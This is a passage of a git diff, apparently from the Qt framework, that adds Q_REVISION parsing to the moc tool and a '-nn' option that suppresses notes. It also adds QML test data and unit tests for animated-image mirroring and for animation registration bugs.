+ if (cdef->revisionedProperties) {
+ fprintf(out, "\n // properties: revision\n");
+ for (int i = 0; i < cdef->propertyList.count(); ++i) {
+ const PropertyDef &p = cdef->propertyList.at(i);
+ fprintf(out, " %4d,\n", p.revision);
+ }
+ }
}
void Generator::generateEnums(int index)
diff --git a/src/tools/moc/generator.h b/src/tools/moc/generator.h
index 63605eb..ed0980e 100644
--- a/src/tools/moc/generator.h
+++ b/src/tools/moc/generator.h
@@ -58,6 +58,7 @@ public:
private:
void generateClassInfos();
void generateFunctions(QList<FunctionDef> &list, const char *functype, int type);
+ void generateFunctionRevisions(QList<FunctionDef>& list, const char *functype);
void generateEnums(int index);
void generateProperties();
void generateMetacall();
diff --git a/src/tools/moc/keywords.cpp b/src/tools/moc/keywords.cpp
index 0eca110..9a8aa41 100644
--- a/src/tools/moc/keywords.cpp
+++ b/src/tools/moc/keywords.cpp
@@ -43,12 +43,12 @@
// DO NOT EDIT.
static const short keyword_trans[][128] = {
- {0,0,0,0,0,0,0,0,0,533,530,0,0,0,0,0,
+ {0,0,0,0,0,0,0,0,0,541,538,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
- 533,252,531,534,0,38,239,532,25,26,236,234,30,235,27,237,
+ 541,252,539,542,0,38,239,540,25,26,236,234,30,235,27,237,
22,22,22,22,22,22,22,22,22,22,34,41,23,39,24,43,
0,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
- 8,21,8,8,8,8,8,8,8,8,8,31,535,32,238,8,
+ 8,21,8,8,8,8,8,8,8,8,8,31,543,32,238,8,
0,1,2,3,4,5,6,7,8,9,8,8,10,11,12,13,
14,8,15,16,17,18,19,20,8,8,8,36,245,37,248,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
@@ -190,7 +190,7 @@ static const short keyword_trans[][128] = {
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,42,0,0,0,28,0,
- 538,538,538,538,538,538,538,538,538,538,0,0,0,0,0,0,
+ 546,546,546,546,546,546,546,546,546,546,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
@@ -349,7 +349,7 @@ static const short keyword_trans[][128] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
- 0,0,0,0,0,0,0,0,0,0,537,0,0,0,0,536,
+ 0,0,0,0,0,0,0,0,0,0,545,0,0,0,0,544,
0,0,0,0,0,0,0,0,0,0,0,0,0,258,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
@@ -392,7 +392,7 @@ static const short keyword_trans[][128] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,439,388,378,383,364,0,448,0,0,0,0,0,358,
- 370,0,0,436,0,0,0,0,0,0,0,0,0,0,0,0,
+ 370,0,530,436,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
@@ -983,6 +983,14 @@ static const struct
{CHARACTER, 0, 84, 528, CHARACTER},
{CHARACTER, 0, 89, 529, CHARACTER},
{Q_PRIVATE_PROPERTY_TOKEN, 0, 0, 0, CHARACTER},
+ {CHARACTER, 0, 69, 531, CHARACTER},
+ {CHARACTER, 0, 86, 532, CHARACTER},
+ {CHARACTER, 0, 73, 533, CHARACTER},
+ {CHARACTER, 0, 83, 534, CHARACTER},
+ {CHARACTER, 0, 73, 535, CHARACTER},
+ {CHARACTER, 0, 79, 536, CHARACTER},
+ {CHARACTER, 0, 78, 537, CHARACTER},
+ {Q_REVISION_TOKEN, 0, 0, 0, CHARACTER},
{NEWLINE, 0, 0, 0, NOTOKEN},
{QUOTE, 0, 0, 0, NOTOKEN},
{SINGLEQUOTE, 0, 0, 0, NOTOKEN},
diff --git a/src/tools/moc/main.cpp b/src/tools/moc/main.cpp
index 1ecb7e5..ecff105 100644
--- a/src/tools/moc/main.cpp
+++ b/src/tools/moc/main.cpp
@@ -111,6 +111,7 @@ void error(const char *msg = "Invalid argument")
" -i do not generate an #include statement\n"
" -p<path> path prefix for included file\n"
" -f[<file>] force #include, optional file name\n"
+ " -nn do not display notes\n"
" -nw do not display warnings\n"
" @<file> read additional options from file\n"
" -v display version of moc\n");
@@ -333,9 +334,12 @@ int runMoc(int _argc, char **_argv)
case 'n': // don't display warnings
if (ignoreConflictingOptions)
break;
- if (opt != "nw")
+ if (opt == "nw")
+ moc.displayWarnings = moc.displayNotes = false;
+ else if (opt == "nn")
+ moc.displayNotes = false;
+ else
error();
- moc.displayWarnings = false;
break;
case 'h': // help
if (more && opt != "help")
@@ -425,7 +429,7 @@ int runMoc(int _argc, char **_argv)
fprintf(out, "%s\n", composePreprocessorOutput(moc.symbols).constData());
} else {
if (moc.classList.isEmpty())
- moc.warning("No relevant classes found. No output generated.");
+ moc.note("No relevant classes found. No output generated.");
else
moc.generate(out);
}
diff --git a/src/tools/moc/moc.cpp b/src/tools/moc/moc.cpp
index f72bdf5..2cf2412 100644
--- a/src/tools/moc/moc.cpp
+++ b/src/tools/moc/moc.cpp
@@ -335,6 +335,23 @@ bool Moc::testFunctionAttribute(Token tok, FunctionDef *def)
return false;
}
+bool Moc::testFunctionRevision(FunctionDef *def)
+{
+ if (test(Q_REVISION_TOKEN)) {
+ next(LPAREN);
+ QByteArray revision = lexemUntil(RPAREN);
+ revision.remove(0, 1);
+ revision.chop(1);
+ bool ok = false;
+ def->revision = revision.toInt(&ok);
+ if (!ok || def->revision < 0)
+ error("Invalid revision");
+ return true;
+ }
+
+ return false;
+}
+
// returns false if the function should be ignored
bool Moc::parseFunction(FunctionDef *def, bool inMacro)
{
@@ -342,7 +359,7 @@ bool Moc::parseFunction(FunctionDef *def, bool inMacro)
//skip modifiers and attributes
while (test(INLINE) || test(STATIC) ||
(test(VIRTUAL) && (def->isVirtual = true)) //mark as virtual
- || testFunctionAttribute(def)) {}
+ || testFunctionAttribute(def) || testFunctionRevision(def)) {}
bool templateFunction = (lookup() == TEMPLATE);
def->type = parseType();
if (def->type.name.isEmpty()) {
@@ -433,7 +450,7 @@ bool Moc::parseMaybeFunction(const ClassDef *cdef, FunctionDef *def)
//skip modifiers and attributes
while (test(EXPLICIT) || test(INLINE) || test(STATIC) ||
(test(VIRTUAL) && (def->isVirtual = true)) //mark as virtual
- || testFunctionAttribute(def)) {}
+ || testFunctionAttribute(def) || testFunctionRevision(def)) {}
bool tilde = test(TILDE);
def->type = parseType();
if (def->type.name.isEmpty())
@@ -694,6 +711,8 @@ void Moc::parse()
funcDef.arguments.removeLast();
def.slotList += funcDef;
}
+ if (funcDef.revision > 0)
+ ++def.revisionedMethods;
} else if (funcDef.isSignal) {
def.signalList += funcDef;
while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) {
@@ -701,6 +720,8 @@ void Moc::parse()
funcDef.arguments.removeLast();
def.signalList += funcDef;
}
+ if (funcDef.revision > 0)
+ ++def.revisionedMethods;
} else if (funcDef.isInvokable) {
def.methodList += funcDef;
while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) {
@@ -708,6 +729,8 @@ void Moc::parse()
funcDef.arguments.removeLast();
def.methodList += funcDef;
}
+ if (funcDef.revision > 0)
+ ++def.revisionedMethods;
}
}
} else {
@@ -806,6 +829,18 @@ QList<QMetaObject*> Moc::generate(bool ignoreProperties)
void Moc::parseSlots(ClassDef *def, FunctionDef::Access access)
{
+ int defaultRevision = -1;
+ if (test(Q_REVISION_TOKEN)) {
+ next(LPAREN);
+ QByteArray revision = lexemUntil(RPAREN);
+ revision.remove(0, 1);
+ revision.chop(1);
+ bool ok = false;
+ defaultRevision = revision.toInt(&ok);
+ if (!ok || defaultRevision < 0)
+ error("Invalid revision");
+ }
+
next(COLON);
while (inClass(def) && hasNext()) {
switch (next()) {
@@ -831,6 +866,12 @@ void Moc::parseSlots(ClassDef *def, FunctionDef::Access access)
funcDef.access = access;
if (!parseFunction(&funcDef))
continue;
+ if (funcDef.revision > 0) {
+ ++def->revisionedMethods;
+ } else if (defaultRevision != -1) {
+ funcDef.revision = defaultRevision;
+ ++def->revisionedMethods;
+ }
def->slotList += funcDef;
while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) {
funcDef.wasCloned = true;
@@ -842,6 +883,18 @@ void Moc::parseSlots(ClassDef *def, FunctionDef::Access access)
void Moc::parseSignals(ClassDef *def)
{
+ int defaultRevision = -1;
+ if (test(Q_REVISION_TOKEN)) {
+ next(LPAREN);
+ QByteArray revision = lexemUntil(RPAREN);
+ revision.remove(0, 1);
+ revision.chop(1);
+ bool ok = false;
+ defaultRevision = revision.toInt(&ok);
+ if (!ok || defaultRevision < 0)
+ error("Invalid revision");
+ }
+
next(COLON);
while (inClass(def) && hasNext()) {
switch (next()) {
@@ -869,6 +922,12 @@ void Moc::parseSignals(ClassDef *def)
warning("Signals cannot be declared virtual");
if (funcDef.inlineCode)
error("Not a signal declaration");
+ if (funcDef.revision > 0) {
+ ++def->revisionedMethods;
+ } else if (defaultRevision != -1) {
+ funcDef.revision = defaultRevision;
+ ++def->revisionedMethods;
+ }
def->signalList += funcDef;
while (funcDef.arguments.size() > 0 && funcDef.arguments.last().isDefault) {
funcDef.wasCloned = true;
@@ -911,7 +970,6 @@ void Moc::createPropertyDef(PropertyDef &propDef)
propDef.name = lexem();
while (test(IDENTIFIER)) {
QByteArray l = lexem();
-
if (l[0] == 'C' && l == "CONSTANT") {
propDef.constant = true;
continue;
@@ -923,6 +981,10 @@ void Moc::createPropertyDef(PropertyDef &propDef)
QByteArray v, v2;
if (test(LPAREN)) {
v = lexemUntil(RPAREN);
+ } else if (test(INTEGER_LITERAL)) {
+ v = lexem();
+ if (l != "REVISION")
+ error(1);
} else {
next(IDENTIFIER);
v = lexem();
@@ -937,7 +999,12 @@ void Moc::createPropertyDef(PropertyDef &propDef)
propDef.read = v;
else if (l == "RESET")
propDef.reset = v + v2;
- else
+ else if (l == "REVISION") {
+ bool ok = false;
+ propDef.revision = v.toInt(&ok);
+ if (!ok || propDef.revision < 0)
+ error(1);
+ } else
error(2);
break;
case 'S':
@@ -1002,6 +1069,8 @@ void Moc::parseProperty(ClassDef *def)
if(!propDef.notify.isEmpty())
def->notifyableProperties++;
+ if (propDef.revision > 0)
+ ++def->revisionedProperties;
def->propertyList += propDef;
}
@@ -1028,6 +1097,8 @@ void Moc::parsePrivateProperty(ClassDef *def)
if(!propDef.notify.isEmpty())
def->notifyableProperties++;
+ if (propDef.revision > 0)
+ ++def->revisionedProperties;
def->propertyList += propDef;
}
@@ -1177,6 +1248,9 @@ void Moc::parseSlotInPrivate(ClassDef *def, FunctionDef::Access access)
funcDef.arguments.removeLast();
def->slotList += funcDef;
}
+ if (funcDef.revision > 0)
+ ++def->revisionedMethods;
+
}
QByteArray Moc::lexemUntil(Token target)
diff --git a/src/tools/moc/moc.h b/src/tools/moc/moc.h
index 9543a05..38c3917 100644
--- a/src/tools/moc/moc.h
+++ b/src/tools/moc/moc.h
@@ -86,7 +86,7 @@ struct FunctionDef
FunctionDef(): returnTypeIsVolatile(false), access(Private), isConst(false), isVirtual(false),
inlineCode(false), wasCloned(false), isCompat(false), isInvokable(false),
isScriptable(false), isSlot(false), isSignal(false),
- isConstructor(false), isDestructor(false), isAbstract(false) {}
+ isConstructor(false), isDestructor(false), isAbstract(false), revision(0) {}
Type type;
QByteArray normalizedType;
QByteArray tag;
@@ -111,11 +111,13 @@ struct FunctionDef
bool isConstructor;
bool isDestructor;
bool isAbstract;
+
+ int revision;
};
struct PropertyDef
{
- PropertyDef():notifyId(-1), constant(false), final(false), gspec(ValueSpec){}
+ PropertyDef():notifyId(-1), constant(false), final(false), gspec(ValueSpec), revision(0){}
QByteArray name, type, read, write, reset, designable, scriptable, editable, stored, user, notify, inPrivateClass;
int notifyId;
bool constant;
@@ -128,6 +130,7 @@ struct PropertyDef
s += name.mid(1);
return (s == write);
}
+ int revision;
};
@@ -139,7 +142,8 @@ struct ClassInfoDef
struct ClassDef {
ClassDef():
- hasQObject(false), hasQGadget(false), notifyableProperties(0), begin(0), end(0){}
+ hasQObject(false), hasQGadget(false), notifyableProperties(0)
+ , revisionedMethods(0), revisionedProperties(0), begin(0), end(0){}
QByteArray classname;
QByteArray qualified;
QList<QPair<QByteArray, FunctionDef::Access> > superclassList;
@@ -164,6 +168,8 @@ struct ClassDef {
QMap<QByteArray, bool> enumDeclarations;
QList<EnumDef> enumList;
QMap<QByteArray, QByteArray> flagAliases;
+ int revisionedMethods;
+ int revisionedProperties;
int begin;
int end;
@@ -236,6 +242,7 @@ public:
// in FunctionDef accordingly
bool testFunctionAttribute(FunctionDef *def);
bool testFunctionAttribute(Token tok, FunctionDef *def);
+ bool testFunctionRevision(FunctionDef *def);
void checkSuperClasses(ClassDef *def);
void checkProperties(ClassDef* cdef);
diff --git a/src/tools/moc/parser.cpp b/src/tools/moc/parser.cpp
index 1fa1401..b6f0837 100644
--- a/src/tools/moc/parser.cpp
+++ b/src/tools/moc/parser.cpp
@@ -78,4 +78,10 @@ void Parser::warning(const char *msg) {
currentFilenames.top().constData(), qMax(0, index > 0 ? symbol().lineNum : 0), msg);
}
+void Parser::note(const char *msg) {
+ if (displayNotes && msg)
+ fprintf(stderr, ErrorFormatString "Note: %s\n",
+ currentFilenames.top().constData(), qMax(0, index > 0 ? symbol().lineNum : 0), msg);
+}
+
QT_END_NAMESPACE
diff --git a/src/tools/moc/parser.h b/src/tools/moc/parser.h
index 8356449..a874248 100644
--- a/src/tools/moc/parser.h
+++ b/src/tools/moc/parser.h
@@ -50,10 +50,11 @@ QT_BEGIN_NAMESPACE
class Parser
{
public:
- Parser():index(0), displayWarnings(true){}
+ Parser():index(0), displayWarnings(true), displayNotes(true) {}
Symbols symbols;
int index;
bool displayWarnings;
+ bool displayNotes;
QStack<QByteArray> currentFilenames;
@@ -73,6 +74,7 @@ public:
void error(int rollback);
void error(const char *msg = 0);
void warning(const char * = 0);
+ void note(const char * = 0);
};
diff --git a/src/tools/moc/token.cpp b/src/tools/moc/token.cpp
index 733a17e..9d07c48 100644
--- a/src/tools/moc/token.cpp
+++ b/src/tools/moc/token.cpp
@@ -180,6 +180,7 @@ const char *tokenTypeName(Token t)
case Q_SLOT_TOKEN: return "Q_SLOT_TOKEN";
case Q_PRIVATE_SLOT_TOKEN: return "Q_PRIVATE_SLOT_TOKEN";
case Q_PRIVATE_PROPERTY_TOKEN: return "Q_PRIVATE_PROPERTY_TOKEN";
+ case Q_REVISION_TOKEN: return "Q_REVISION_TOKEN";
case SPECIAL_TREATMENT_MARK: return "SPECIAL_TREATMENT_MARK";
case MOC_INCLUDE_BEGIN: return "MOC_INCLUDE_BEGIN";
case MOC_INCLUDE_END: return "MOC_INCLUDE_END";
diff --git a/src/tools/moc/token.h b/src/tools/moc/token.h
index edbb567..95f17c2 100644
--- a/src/tools/moc/token.h
+++ b/src/tools/moc/token.h
@@ -186,6 +186,7 @@ enum Token {
Q_INVOKABLE_TOKEN,
Q_SCRIPTABLE_TOKEN,
Q_PRIVATE_PROPERTY_TOKEN,
+ Q_REVISION_TOKEN,
Q_META_TOKEN_END,
SPECIAL_TREATMENT_MARK = Q_META_TOKEN_END,
MOC_INCLUDE_BEGIN,
diff --git a/src/tools/moc/util/generate_keywords.cpp b/src/tools/moc/util/generate_keywords.cpp
index 777bf3f..26f7a19 100644
--- a/src/tools/moc/util/generate_keywords.cpp
+++ b/src/tools/moc/util/generate_keywords.cpp
@@ -249,6 +249,7 @@ static const Keyword keywords[] = {
{ "Q_SLOT", "Q_SLOT_TOKEN" },
{ "Q_SCRIPTABLE", "Q_SCRIPTABLE_TOKEN" },
{ "Q_PRIVATE_PROPERTY", "Q_PRIVATE_PROPERTY_TOKEN" },
+ { "Q_REVISION", "Q_REVISION_TOKEN" },
{ "\n", "NEWLINE" },
{ "\"", "QUOTE" },
{ "\'", "SINGLEQUOTE" },
diff --git a/tests/auto/auto.pro b/tests/auto/auto.pro
index c0004f7..c677249 100644
--- a/tests/auto/auto.pro
+++ b/tests/auto/auto.pro
@@ -19,4 +19,5 @@ contains(QT_CONFIG, multimedia): SUBDIRS += multimedia.pro
contains(QT_CONFIG, phonon): SUBDIRS += phonon.pro
contains(QT_CONFIG, svg): SUBDIRS += svg.pro
contains(QT_CONFIG, declarative): SUBDIRS += declarative.pro
+!symbian SUBDIRS += help.pro
diff --git a/tests/auto/bic/tst_bic.cpp b/tests/auto/bic/tst_bic.cpp
index fcf6deb..9ef2be1 100644
--- a/tests/auto/bic/tst_bic.cpp
+++ b/tests/auto/bic/tst_bic.cpp
@@ -135,6 +135,9 @@ tst_Bic::tst_Bic()
/* This structure is semi-private and should never shrink */
bic.addBlacklistedClass(QLatin1String("QVFbHeader"));
+
+ /* This structure has a version field that allows extension */
+ bic.addBlacklistedClass(QLatin1String("QDeclarativePrivate::RegisterType"));
}
void tst_Bic::initTestCase_data()
diff --git a/tests/auto/corelib.pro b/tests/auto/corelib.pro
index 3451b53..6810f76 100644
--- a/tests/auto/corelib.pro
+++ b/tests/auto/corelib.pro
@@ -59,6 +59,7 @@ SUBDIRS=\
qresourceengine \
qringbuffer \
qscopedpointer \
+ qscopedvaluerollback \
qsemaphore \
qsequentialanimationgroup \
qset \
diff --git a/tests/auto/declarative/declarative.pro b/tests/auto/declarative/declarative.pro
index 499c155..08f0b9e 100644
--- a/tests/auto/declarative/declarative.pro
+++ b/tests/auto/declarative/declarative.pro
@@ -31,6 +31,7 @@ contains(QT_CONFIG, private_tests) {
qdeclarativeanchors \
qdeclarativeanimatedimage \
qdeclarativeanimations \
+ qdeclarativeapplication \
qdeclarativebehaviors \
qdeclarativebinding \
qdeclarativeborderimage \
@@ -55,6 +56,7 @@ contains(QT_CONFIG, private_tests) {
qdeclarativeloader \
qdeclarativemousearea \
qdeclarativepathview \
+ qdeclarativepincharea \
qdeclarativepositioners \
qdeclarativeproperty \
qdeclarativepropertymap \
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif
new file mode 100644
index 0000000..cfb55f2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.gif
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml
new file mode 100644
index 0000000..8729dd2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/hearts.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+AnimatedImage {
+ source: "hearts.gif"
+ playing: false
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml
new file mode 100644
index 0000000..cf5b601
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 500
+ height: 500
+
+ AnimatedImage {
+ objectName: "anim"
+ anchors.centerIn: parent
+ asynchronous: true
+ opacity: status == AnimatedImage.Ready ? 1 : 0
+
+ Behavior on opacity {
+ NumberAnimation { duration: 1000 }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp
index 1790e92..104ee15 100644
--- a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp
+++ b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp
@@ -45,6 +45,7 @@
#include <private/qdeclarativerectangle_p.h>
#include <private/qdeclarativeimage_p.h>
#include <private/qdeclarativeanimatedimage_p.h>
+#include <QSignalSpy>
#include "../shared/testhttpserver.h"
#include "../../../shared/util.h"
@@ -66,13 +67,29 @@ private slots:
void stopped();
void setFrame();
void frameCount();
+ void mirror_running();
+ void mirror_notRunning();
+ void mirror_notRunning_data();
void remote();
void remote_data();
void sourceSize();
void sourceSizeReadOnly();
void invalidSource();
+ void qtbug_16520();
+
+private:
+ QPixmap grabScene(QGraphicsScene *scene, int width, int height);
};
+QPixmap tst_qdeclarativeanimatedimage::grabScene(QGraphicsScene *scene, int width, int height)
+{
+ QPixmap screenshot(width, height);
+ screenshot.fill();
+ QPainter p_screenshot(&screenshot);
+ scene->render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+ return screenshot;
+}
+
void tst_qdeclarativeanimatedimage::play()
{
QDeclarativeEngine engine;
@@ -132,6 +149,93 @@ void tst_qdeclarativeanimatedimage::frameCount()
delete anim;
}
+void tst_qdeclarativeanimatedimage::mirror_running()
+{
+ // test where mirror is set to true after animation has started
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/hearts.qml"));
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+
+ QGraphicsScene scene;
+ int width = anim->property("width").toInt();
+ int height = anim->property("height").toInt();
+ scene.addItem(qobject_cast<QGraphicsObject *>(anim));
+
+ QCOMPARE(anim->currentFrame(), 0);
+ QPixmap frame0 = grabScene(&scene, width, height);
+ anim->setCurrentFrame(1);
+ QPixmap frame1 = grabScene(&scene, width, height);
+
+ anim->setCurrentFrame(0);
+
+ QSignalSpy spy(anim, SIGNAL(frameChanged()));
+ anim->setPlaying(true);
+
+ QTRY_VERIFY(spy.count() == 1); spy.clear();
+ anim->setProperty("mirror", true);
+
+ QCOMPARE(anim->currentFrame(), 1);
+ QPixmap frame1_flipped = grabScene(&scene, width, height);
+
+ QTRY_VERIFY(spy.count() == 1); spy.clear();
+ QCOMPARE(anim->currentFrame(), 0); // animation only has 2 frames, should cycle back to first
+ QPixmap frame0_flipped = grabScene(&scene, width, height);
+
+ QTransform transform;
+ transform.translate(width, 0).scale(-1, 1.0);
+ QPixmap frame0_expected = frame0.transformed(transform);
+ QPixmap frame1_expected = frame1.transformed(transform);
+
+ QCOMPARE(frame0_flipped, frame0_expected);
+ QCOMPARE(frame1_flipped, frame1_expected);
+}
+
+void tst_qdeclarativeanimatedimage::mirror_notRunning()
+{
+ QFETCH(QUrl, fileUrl);
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, fileUrl);
+ QDeclarativeAnimatedImage *anim = qobject_cast<QDeclarativeAnimatedImage *>(component.create());
+ QVERIFY(anim);
+
+ QGraphicsScene scene;
+ int width = anim->property("width").toInt();
+ int height = anim->property("height").toInt();
+ scene.addItem(qobject_cast<QGraphicsObject *>(anim));
+ QPixmap screenshot = grabScene(&scene, width, height);
+
+ QTransform transform;
+ transform.translate(width, 0).scale(-1, 1.0);
+ QPixmap expected = screenshot.transformed(transform);
+
+ int frame = anim->currentFrame();
+ bool playing = anim->isPlaying();
+ bool paused = anim->isPlaying();
+
+ anim->setProperty("mirror", true);
+ screenshot = grabScene(&scene, width, height);
+
+ QCOMPARE(screenshot, expected);
+
+ // mirroring should not change the current frame or playing status
+ QCOMPARE(anim->currentFrame(), frame);
+ QCOMPARE(anim->isPlaying(), playing);
+ QCOMPARE(anim->isPaused(), paused);
+
+ delete anim;
+}
+
+void tst_qdeclarativeanimatedimage::mirror_notRunning_data()
+{
+ QTest::addColumn<QUrl>("fileUrl");
+
+ QTest::newRow("paused") << QUrl::fromLocalFile(SRCDIR "/data/stickmanpause.qml");
+ QTest::newRow("stopped") << QUrl::fromLocalFile(SRCDIR "/data/stickmanstopped.qml");
+}
+
void tst_qdeclarativeanimatedimage::remote()
{
QFETCH(QString, fileName);
@@ -204,6 +308,29 @@ void tst_qdeclarativeanimatedimage::invalidSource()
QVERIFY(!anim->isPaused());
QCOMPARE(anim->currentFrame(), 0);
QCOMPARE(anim->frameCount(), 0);
+ QTRY_VERIFY(anim->status() == 3);
+}
+
+void tst_qdeclarativeanimatedimage::qtbug_16520()
+{
+ TestHTTPServer server(14449);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug-16520.qml"));
+ QTRY_VERIFY(component.isReady());
+
+ QDeclarativeRectangle *root = qobject_cast<QDeclarativeRectangle *>(component.create());
+ QVERIFY(root);
+ QDeclarativeAnimatedImage *anim = root->findChild<QDeclarativeAnimatedImage*>("anim");
+
+ anim->setProperty("source", "http://127.0.0.1:14449/stickman.gif");
+
+ QTRY_VERIFY(anim->opacity() == 0);
+ QTRY_VERIFY(anim->opacity() == 1);
+
+ delete anim;
}
QTEST_MAIN(tst_qdeclarativeanimatedimage)
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/Double.qml b/tests/auto/declarative/qdeclarativeanimations/data/Double.qml
new file mode 100644
index 0000000..b247fce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/Double.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ property bool on: false
+ border.color: "#ffffff"
+ color: "green"
+ width: 50
+ height: 50
+ NumberAnimation on x {
+ objectName: "animation"
+ running: container.on; from: 0; to: 600; loops: Animation.Infinite; duration: 2000
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml
new file mode 100644
index 0000000..f0fdf9c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/doubleRegistrationBug.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400
+
+ Double { id: dub; on: parent.width < 800 }
+ Component.onCompleted: dub.on = false
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml
new file mode 100644
index 0000000..7dc29f9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 200
+ height: 200
+
+ property bool animating: true
+ property int value: 0
+
+ NumberAnimation {
+ target: rect
+ property: "value"
+ running: rect.animating
+ to: 100
+ duration: 50
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
index 6f71dec..e2a54c0 100644
--- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
+++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
@@ -85,6 +85,9 @@ private slots:
void rotation();
void runningTrueBug();
void nonTransitionBug();
+ void registrationBug();
+ void doubleRegistrationBug();
+ void alwaysRunToEndRestartBug();
};
#define QTIMED_COMPARE(lhs, rhs) do { \
@@ -793,6 +796,54 @@ void tst_qdeclarativeanimations::nonTransitionBug()
QCOMPARE(mover->x(), qreal(100));
}
+//QTBUG-14042
+void tst_qdeclarativeanimations::registrationBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/registrationBug.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+ QTRY_COMPARE(rect->property("value"), QVariant(int(100)));
+}
+
+void tst_qdeclarativeanimations::doubleRegistrationBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/doubleRegistrationBug.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeAbstractAnimation *anim = rect->findChild<QDeclarativeAbstractAnimation*>("animation");
+ QVERIFY(anim != 0);
+ QTRY_COMPARE(anim->qtAnimation()->state(), QAbstractAnimation::Stopped);
+}
+
+//QTBUG-16736
+void tst_qdeclarativeanimations::alwaysRunToEndRestartBug()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativePropertyAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("x");
+ animation.setTo(200);
+ animation.setDuration(1000);
+ animation.setLoops(-1);
+ animation.setAlwaysRunToEnd(true);
+ QVERIFY(animation.loops() == -1);
+ QVERIFY(animation.alwaysRunToEnd() == true);
+ animation.start();
+ animation.stop();
+ animation.start();
+ animation.stop();
+ QTest::qWait(500);
+ QVERIFY(rect.x() != qreal(200));
+ QTest::qWait(800);
+ QTIMED_COMPARE(rect.x(), qreal(200));
+ QCOMPARE(static_cast<QDeclarativeAbstractAnimation*>(&animation)->qtAnimation()->state(), QAbstractAnimation::Stopped);
+}
+
QTEST_MAIN(tst_qdeclarativeanimations)
#include "tst_qdeclarativeanimations.moc"
